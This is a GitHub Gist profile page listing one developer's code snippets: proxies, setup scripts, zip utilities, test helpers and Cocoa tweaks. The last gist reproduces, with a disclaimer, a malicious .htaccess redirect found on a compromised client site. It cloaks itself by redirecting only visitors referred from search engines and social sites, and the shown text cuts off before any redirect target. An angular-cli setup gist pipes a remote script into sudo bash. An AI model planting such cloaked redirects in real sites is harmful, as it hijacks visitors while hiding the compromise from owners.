Skip to content

Instantly share code, notes, and snippets.

View mashhoodr's full-sized avatar
🏎️
being awesome!

Mashhood Rastgar mashhoodr

🏎️
being awesome!
View GitHub Profile
@mashhoodr
mashhoodr / cloudflare_worker_proxy.js
Last active October 10, 2022 16:01
A simple proxy pass script for Cloudflare Worker which handles the basic cases
addEventListener('fetch', event => {
event.respondWith(handleRequest(event.request))
})
/**
* Respond to the request
* adapted from https://github.com/xiaoyang-liu-cs/workers-proxy
* @param {Request} request
*/
async function handleRequest(request) {
@mashhoodr
mashhoodr / secure.bash
Last active June 23, 2016 08:36
Secure Ubuntu
#!/bin/bash
set -o errexit
# Disclaimer: This is not the most secure configuration possible. This script
# is only intended to be more secure than the default configuration. No
# promises are made about this script preventing your server from getting
# owned or your bike getting stolen. The bad guys are still out to get you.
# And running this script does not excuse you from writing secure application
# code!
@mashhoodr
mashhoodr / angular-cli-ubuntu-setup.sh
Last active May 30, 2016 11:23
Setup angular-cli on ubuntu14
# navigate to the project folder
# git pull latest version
# make sure user has permission to write in that folder
# install latest node
curl -sL https://deb.nodesource.com/setup_5.x | sudo -E bash -
sudo apt-get install -y nodejs
sudo npm install angular-cli -g
sudo npm install -g [email protected] # make sure its version 0.8.1 latest ones breaks
@mashhoodr
mashhoodr / zip.sh
Created May 29, 2014 06:11
Zips a list of files without their folder structure
find $basePath -name "$pattern" -print | zip -j "$outputFileName" -@
@mashhoodr
mashhoodr / create_zip.scala
Last active March 9, 2016 20:35
Create a zip file using remote sources (S3) and then download that zip file in Scala
import java.io.{File}
import java.util.zip.{ZipEntry, ZipOutputStream}
val zipFilePath = "/tmp/allLogs.zip"
val zip = new ZipOutputStream(new FileOutputStream(zipFilePath))
for (log <- logs) {
val link = file.link.get
val fileName = link.substring(link.lastIndexOf('/') + 1, link.lastIndexOf(".zip") + 4) // getting file name and removing the AWS params from the link
val source = scala.io.Source.fromURL(link, "ISO-8859-1") // this is because I am zipping binary files, if your encoding is different please pass likewise
@mashhoodr
mashhoodr / compare.rb
Last active November 22, 2017 19:06
Comparing images in cucumber - calabash
require 'oily_png'
require 'open-uri'
include ChunkyPNG::Color
def starts_with(item, prefix)
prefix = prefix.to_s
item[0, prefix.length] == prefix
end
# compares two images on disk, returns the % difference
@mashhoodr
mashhoodr / authorization_cocoa.m
Last active December 29, 2015 21:19
A hack to do something with Administrator privileges in Cocoa. This saves you from implementing the fairly complicated route of getting the administrative right using BetterAuthorizationSample example
NSDictionary *error = [NSDictionary dictionary];
NSAppleScript *run = [[NSAppleScript alloc]
initWithSource:@"do shell script "gem install calabash-cucumber;" with administrator privileges"];
[run executeAndReturnError:&error];
def select_date(date_string)
date = Date.parse(date_string)
query("view:'_UIDatePickerView'", [{:selectRow => date.month - 1}, {:inComponent => 0}, {:animated => 1}])
query("view:'_UIDatePickerView'", [{:selectRow => date.day - 1},   {:inComponent => 1}, {:animated => 1}])
query("view:'_UIDatePickerView'", [{:selectRow => date.year - 1},  {:inComponent => 2}, {:animated => 1}])
sleep(0.4)
# the query does not create a UIControlEventValueChanged event, so we have to do a touch event
picker_scroll_up_on_column 0
sleep(0.4)
picker_scroll_down_on_column 0
@mashhoodr
mashhoodr / styling_nstextfields
Last active December 29, 2015 21:19
A snippet for styling the NSTextfields properly [http://imars.info/styling-nstextfields-cocoa-development/]
- (void)drawWithFrame:(NSRect)cellFrame
inView:(NSView *)controlView {
NSImage *img = [NSImage imageNamed:@"tf"];
[img drawAtPoint:NSPointFromCGPoint(CGPointMake(0, 0))
fromRect:NSZeroRect
operation:NSCompositeSourceOver
fraction:1];
cellFrame.origin.x += 10;
cellFrame.origin.y += 16;
@mashhoodr
mashhoodr / malware_mod_rewrite
Last active December 29, 2015 21:19
** DISCLAIMER: the script below is malicious! ** A Mod-Rewrite script I found while debugging a malware on a clients website. Its very simple, but malicious. The core functionality includes that it will only redirect to the offenders website if the referrer is from any of the websites listed below. Which makes it unlikely that the actual site ow…
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_REFERER} ^.*(abacho|abizdirectory|about|acoon|alexana|allesklar|allpages|allthesites|alltheuk|alltheweb|altavista|america|amfibi|aol|apollo7|aport|arcor|ask|atsearch|baidu|bellnet|bestireland|bhanvad|bing|blog|bluewin|botw|brainysearch|bricabrac|browseireland|chapu|claymont|click4choice|clickey|clickz|clush|confex|cyber-content|daffodil|devaro|dmoz|dogpile|ebay|ehow|eniro|entireweb|euroseek|exalead|excite|express|facebook|fastbot|filesearch|findelio|findhow|finditireland|findloo|findwhat|finnalle|finnfirma|fireball|flemiro|flickr|freenet|friendsreunited|galaxy|gasta|gigablast|gimpsy|globalsearchdirectory|goo|google|goto|gulesider|hispavista|hotbot|hotfrog|icq|iesearch|ilse|infoseek|ireland-information|ixquick|jaan|jayde|jobrapido|kataweb|keyweb|kingdomseek|klammeraffe|km|kobala|kompass|kpnvandaag|kvasir|libero|limier|linkedin|live|liveinternet|lookle|lycos|mail|mamma|metabot|metacrawler|metaeureka|mojeek|msn|myspace|netscape|netzindex|nigma|nlsear